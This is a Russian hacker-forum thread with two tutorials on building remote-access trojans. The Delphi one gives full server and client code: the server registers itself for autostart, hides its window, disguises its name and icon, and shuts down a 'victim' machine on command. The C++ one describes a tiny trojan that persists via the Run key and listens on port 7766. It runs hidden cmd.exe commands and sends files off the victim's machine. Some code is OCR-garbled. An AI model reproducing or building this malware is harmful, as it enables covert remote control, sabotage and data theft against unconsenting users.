Мир Хакеров

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Мир Хакеров » Программирование » ТрояноМейкерство


ТрояноМейкерство

Сообщений 1 страница 2 из 2

1

Троян на Делфи

Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект ("File" - "New Application"). Сейчас мы примемся за серверную часть трояна.
Для начала выбери пункт меню "Options" из меню "Project". Здесь ты должен перенести "From1" из раздела "Auto-Create forms" (список слева) в "Available forms" (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.
На странице "Application" этого же диалога есть кнопка "Load Icon". Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.

Теперь ты должен бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство "Port". По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).

Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке "OnCreate" и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:

procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

Теперь перейди в начало текста и напиши после "uses" слово "registry". Вот как это будет выглядеть:

uses registry, Windows, Messages,

Теперь я объясню, что мы написали в процедуре.

"var RegIni:TRegIniFile" - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.

"RegIni:=TRegIniFile.Create('Software')" - инициализируем переменную указывающую на реестр.

"RegIni.RootKey:=HKEY_LOCAL_MACHINE" говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.

"RegIni.OpenKey('Software', true)" - открываю подраздел "Software".

Дальше я последовательно открываю подразделы, пробираясь в недра окошек.

"RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)" - записываю в раздел "RunServices" (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем "Internat32.exe" (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).

"RegIni.Free" - уничтожаю ненужный больше объект RegIni.

Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.

Самая последняя строка "ServerSocket1.Active:=true" запускает сервер на указанном тобой порте.

С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке "OnDistroy". Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:

procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;

Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (забегу вперёд и скажу, что мы сами будем перегружать компьютер жертвы).

Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке "OnClientRead" и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

Теперь, как это звучит по-нашему:

Если полученный текст = букве 'R' то
Отправить компьютер в редаун.

ExitWindowsEx - редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит .

Троян практически готов, сохрани его. Для этого выбери "Save All" из меню "File". С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми "Сохранить". Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его "Internat32", чтобы файл не вызывал особых подозрений.

Конюшня для коня:
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню "Project Manager" из меню "View". Перед тобой откроется окно, как на рисунке 2.



Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери "View Source". Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее - убери (так не так уж и много):

program Internat32;

uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:

В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует всё, что написано после слова "Var".

WhEvent:THandle - Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.

Application.Initialize - Инициализируется троян.

ShowWindow(Application.Handle, SW_Hide) - Устанавливаю параметры окна. Параметр SW_Hide - говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.

Form1:=TForm1.Create(nil) - создаю форму. Мне приходится это делать так, потому что мы убрали форму из из списка авто создаваемых.

Application.Run - запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.

WhEvent:=CreateEvent(nil, true,false, 'et') - инициализация пустого события.

Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:

Пока (true) выполнять
Начать цикл
Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
Получить управление
Закончить цикл

Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:

1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).

2. Получить управление.

После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно - приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.
Нажми "Ctrl+F9" чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices. Не забудь после тестирования его удалить.

Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.

Троянский всадник:
Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Ещё пару минут напряжённого труда и все красавицы наши .

На новый проект ты должен бросить три компонента:

1. Button из закладки "Standart" для отправки команды на компьютер жертвы.

2. Edit из закладки "Standart" для ввода имени или адреса жертвы.

3. ClientSocket из закладки "Internet" клиент порта для связи с сервером .
Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.
Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;

ClientSocket1.Host:=Edit1.Text - В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.

ClientSocket1.Active:=true - активировать соединение с сервером.

ClientSocket1.Socket.SendText('R') - отправить букву R. Помнишь, что у нас было пару минут назад. Если сервер получит букву R, то он перегрузит машину.
ClientSocket1.Active:=false - закрыть соединение с сервером.
Всё. Троян готов к бою. Нажми "Ctrl+F9" чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузится.

Отредактировано Fortran (2008-04-03 17:06:52)

0

2

Троян на Приплюснутом

В чем секрет настоящего трояна на С++? - спросишь ты. Отнюдь не в
функциональности, как могли бы подумать многие, а в его размере!
Почему троян лучше писать на C++, а, скажем, не на Delphi или Visual
Basic? Да потому, что, сколько бы не было споров между си и дельфи
кодерами, все равно на дельфях троян размером в 2кб не напишешь. A
как написать на сях, я сейчас покажу.

По сути, троян - это очень простая клиент-серверная программа. Сервер,
запущенный на машине жертвы, копирует себя в директорию %SYSTEM%,
добавляет запись в реестр, чтобы троян выполнялся при старте форточек.
Потом троян открывает любой порт и ждет, пока хакер приконнектится к
нему клиентом. Клиент посылает какой-то пакет, при приеме которого
сервер выполняет определенную функцию. У нас этих функций в трояне
будет три: вывод сообщения, запуск программы и, например, download
файла с машины жертвы. Любые дополнительные функции ты сможешь без
особого труда добавить сам после прочтения статьи. Собственно, наш
прога - это самый примитивный троян. который ты сможешь апгрейдить до
тех пор, пока он не станет кардинально отличаться от описанного ниже.
Но размер все равно останется очень небольшим. 2КБ. Всего 2кб будет
весить сервер нашего трояна. Этого мы добьемся за счет того, что
писать его будем на чистом апи, не используя никаких встроенных в C++
библиотек (mfc, vcl, etc), a компилятору скажем, чтобы он стер все
лишнее из РЕ-заголовка файла. Обычно это выполняют всякие утилиты типа
PECompact, но не так качественно, как сам си.

ПРОЕКТ ТРОЯН

Для проги нам понадобится Visual C++ версии выше пятой, а лучше C++,
входящий в комплект Visual Studio .NET. Создаем blank workspace или solution (в VS
.NET) и добавляем в него два новых пустых(!) проекта Win32
Application, сервер и клиент. Тотчас же меняем активную конфигурацию
обоих проектов на Release. Для этого выбери соответствующий пункт в
меню Build. Создал? Отлично, теперь залезем в настройку проектов
(кликни правой кнопкой мышки на имени проекта и выбери Setting), в
Linker и добавим там к строке Object/library modules библиотеку
винсока
wsock32.lib. Без нее наша программа не будет работать. Заметь, эти
действия нужно провести с обоими проектами - и с сервером, и с
клиентом, так как они оба будут использовать сетевые функции и
соответственно нуждаться в сетевой библиотеке. Теперь добавляй в
проект-сервер новый срр файл, и начнем.
кеоить

НАЧНЕМ КОДИТЬ

В самом начале программы мы должны включить заголовочные файлы
(хидеры), в которых описаны функции используемые нами. Без хидеров
программа выдаст тебе тучу ошибок и никогда не заработает. В данном
случае у нас только один хидер - описывающий сетевые функции, из
библиотеки, которую мы добавили чуть раньше.
#include <winsock2.h>
С помощью следующих, крайне важных для размера программы строк, мы
вырежем все лишнее из РЕ-заголовка нашего ехешника, а также сообщим
компилятору, что у нас уже есть EntryPoint, точка входа. Если этого не
сделать, то компилятор вместо того, чтобы вписать нашу функцию в точку
входа, напишет свою, огромную, и размер программы вырастет из 2 до 28
кило. Заметная разница? =) Но если ты теперь попытаешься запустить
прогу в режиме отладки, она, скорее всего, не заработает.

#pragma comment(linker,/MERGE:.rdata=.text)
#ргадта comment(linker,/FILEALIGN:512 /SECTION:.text, EWRX
/IGNORE:4078)
# pragma comment(linker,/ENTRY:WinMain)

Вот мы и подошли к самому главному в программе - точке входа, функции
которой передается управление после запуска. У нее существует четыре
параметра, ни один из которых нам не понадобится, поэтому название
параметров я не пишу, а пишу только их тип.

int WINAPI WinMain(HINSTANCE,HINSTANCE.LPSTFUnt){

Первым делом мы должны скопировать себя в системную директорию.
Создаем два строковых буфера по 256 символов каждый. Первый для
хранения полного пути с именем запущенного трояна (не будешь же
распространять trojan.exe), a второй для нового пути в системной
директории. Полный путь с именем файла нам придется получить с помощью
функции ядра GetModuleRleName. Передавая в первом параметре
GetModuleHandle(O), мы сообщаем фунщии описатель модуля запущенного
файла, во втором и третьем параметре буфер, в который писать путь и ее
размер соответственно. Путь, куда будем копировать, мы получим с
помощью функции GetSystemDirectory, сообщив ей в параметрах второй
буфер и склеив ее с новым именем файла в формате \\trojan.exe.
Вызываем CopyFile c нашими, уже заполненными буферами в первых двух
параметрах и true в третьем, если мы не хотим перезаписывать
существующий файл, или false, если хотим.
Дальше с помощью функций работы с реестром мы запишем в
SOFTWARE\Microsoft\Windows\CurrentVersion\Run свой свежескопированный
файл, чтобы он грузился при каждом запуске системы. Троян загружен и
готов к круговой обороне (атаке ).

СЛУШАЕМ ПОРТ

Наконец мы добрались до самого важного участка кода, без которого
троян - это не троян. Участка, отвечающего за обмен данными жертвы с
тобой . Как ты уже, наверное, знаешь из статей Horrific'a, для
использования функций winsoc^a его сначала требуется инициализировать.
В сях это делается следующим кодом:

WSADATAwsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);

После инициализации можно приступать к работе с сокетами. Для начала
мы создадим сокет listet_Sock c помощью функции socket. Bo втором
параметре этой функции мы передадим ей defined значение SOCK STREAM,
что означает, что мы будем использовать для связи потоковый протокол
TCP. Если бы мы хотели юзать UDP, то передали бы SOCKJDGRAM.

SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);

Теперь мы должны задать свойства этого сокета, то есть номер
открываемого нами порта, возможные для соединения ip-адреса и
семейство сокетов, параметр AFJNET, который указывает на то, что мы
работаем с интернетом. Для этих свойств существует структура
sockaddrjn, которую мы и заполним.

//создаем переменную со свойствами
SOCKADDRJN addr_Sock;
addr_Sock.sinJamily = AFJNET;
//сообщаем, что к нам могут коннектиться с любого адреса
addrJ5ock.sin_addr.s_addr = htonl(INADDR_ANY);
//говорим, что будем слушать порт 7766, можешь написать любой
addr_Sock.sin_port = htons(7766);

Если бы мы хотели ограничить возможные коннекты к нашему трояну
каким-то ip, TO написали бы inet_addr(127.0.0.1) вместо INADDR_ANY.
inet_addr - очень полезная функция, которая наверняка тебе еще
пригодится для программирования сокетов. Она превращает строку с
адресом в формате a.b.c.d в long число, чтобы его впоследствии можно
было использовать для свойств и т.п. Функция htons превращает целое
число в удобочитаемое машиной, и если присвоить addr Sock.sin_port не
функцию htons, а только ее параметр 7766, то программа откроет любой
порт, но только не тот, что мы хотим =).
С помощью функции bind мы склеим созданный нами сокет listet_Sock и
его свойства addr_Sock (в умных книжках эти свойства зовутся локальным
адресом). Если функция вернет значение, отличное от нуля, значит,
произошла какая-то ошибка, или порт уже занят другой программой, или
еще что-то. В случае ошибки троян закроется с помощью команды return
0, которая говорит программе, чтобы текущая функция вернула значение 0
и вырубилась, а так как у нас функция одна, то она и вырубается вместе
с нашим бедным сервером.

if(bind(listetJ5ock,(LPSOCKADDR)&addr_Sock, sizegf(struct sockaddr)))
return 0;

A этой строкой мы, наконец, начнем СЛУШАТЬ порт, то есть откроем его
для соединений. Если быть точным, для одного соединения. В первом
параметре мы передаем переменную-сокет, который открываем, а во втором
- количество возможных коннектов, нам больше одного не надо. Как и в
случае c bind'OM, при ошибке отключаем троян.

if(listen(listet_Sock, 1)) return 0;

ФУНКЦИИ ТРОЯНА

Для того чтобы начинать принимать команды от клиента к серверу,
потребуется сначала разрешить клиенту приконнектиться функцией accept.
Эта функция ждет, пока кто-нибудь не присоединится к созданному нами
сокету, и возвращает новый сокет, из которого мы и будем получать
команды. Чтобы после первого же дисконнекта троян у нас не падал, мы
должны засунуть эту функцию в бесконечный цикл while(true). B этом
цикле мы будем ждать коннекта, затем запускать новый бесконечный цикл
(авторы В02К назвали этот цикл CommandLoop) для обработки получаемых
от клиента команд, из которого выйдем только в случае ошибки при
приеме данных.
1) Ждем коннекта
2) Обрабатываем команды
3) При ошибке закрываем существующие соединения
4) Возвращаемся кп.1
Команды будут приниматься в виде строки, первый символ которой
-собственно, выбор фунщии, второй - разделитель, любой, а остальные -
это аргумент, который мы передаем функции нашего трояна. Вот пример
команды, посылаемой клиентом: Привет. Троян сначала примет первые
два символа и проверит, есть ли у нас функция, назначенная на символ m
(y нас это вывод сообщения). Затем примет еще 126 символов и загрузит
нашу фунщию. To есть троян в цикле принимает с помощью функции recv из
созданного после коннекта сокета hack Sock данные два раза, в первый
буфер 2 байта, и во второй 126. В случае, если данные получить не
удалось, CommandLoop завершится командой break, сокет закроется и
сервер снова будет ждать коннекта. Распишем функции трояна подробнее:
Если первый символ m, TO выполняется функция MessageBox(0,buf,Hacked
=),0), где buf - это наш второй буфер.

Если первый символ е, то строка buf выполняется через cmd.exe c
параметром /с, для этого запускается функция с такими параметрами
ShellExecuteA(NULL, ореn, cmd.exe, buf_command, NULL, SW_H1DE),
где buf_command - это наш буфер с добавленной вперед строкой /с , a
SW_HIDE указывает на то, что жертва не должна видеть появляющуюся
консоль. И последняя, самая сложная функция, осуществляющая скачивание
файла с машины жертвы. Она выполняется в случае, если первый символ -
это f. Сначала она открывает файл только для чтения функцией
QpateFile. A затем, если файл существует, в цикле посылает по 4096
байтов этого файла. Если же байтов отослано меньше, значит, это конец
файла и цикл прерывается. А сигналом для клиента, что файл закончился,
будет дисконнект.

КЛИЕНТ

В роли клиента может выступать любая программа, которая может послать
пакет заданного нами формата жертве. To есть сконнектиться с серваком
и выполнить команду типа: send(sock,m Неllo,128,0). Но на всякий
случай я написал клиент, который работает из командной строки, и, по
идее, его легко перенести на любую платформу. Посылка команды трояну
осуществляется командой client.exe [ip жертвы] [функция] [аргумент],
например: client 127.0.0.1 m Привет.

0


Вы здесь » Мир Хакеров » Программирование » ТрояноМейкерство